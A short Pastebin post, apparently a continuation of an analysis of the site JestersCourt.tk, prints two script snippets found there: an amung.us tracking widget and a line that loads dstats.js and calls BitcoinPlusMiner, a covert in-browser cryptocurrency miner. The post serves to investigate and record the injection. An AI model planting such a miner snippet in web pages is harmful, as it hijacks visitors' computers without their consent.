RiptideTempora

So, let's look deeper (JestersCourt.tk analysis continued)

Sep 17th, 2012
197
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.76 KB | None | 0 0
  1. So, let's look deeper: There are two obfuscated codes:
  2.  
  3. CODE 1.
  4. <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.6.1/jquery.min.js" type="text/javascript"></script><script src="http://www.jesterscourt.tk/custom/dstats.js" type="text/javascript"></script><script type="text/javascript">BitcoinPlusMiner(19791017)</script>
  5.  
  6. CODE 2.
  7. <script id="_wau5it">var _wau = _wau || []; _wau.push(["tab", "4o7zs2zxglpl", "kcq"]);(function() {var s=document.createElement("script"); s.async=true;s.src="http://widgets.amung.us/tab.js";document.getElementsByTagName("head")[0].appendChild(s);})();</script>
  8.  
  9. I've copied dstats.js here for sake of keeping records intact.
  10. http://pastebin.com/MXPSLJQc
  11.  
  12. If someone has more time than I do, please feel free to analyze dstats.js
Advertisement
Add Comment
Please, Sign In to add comment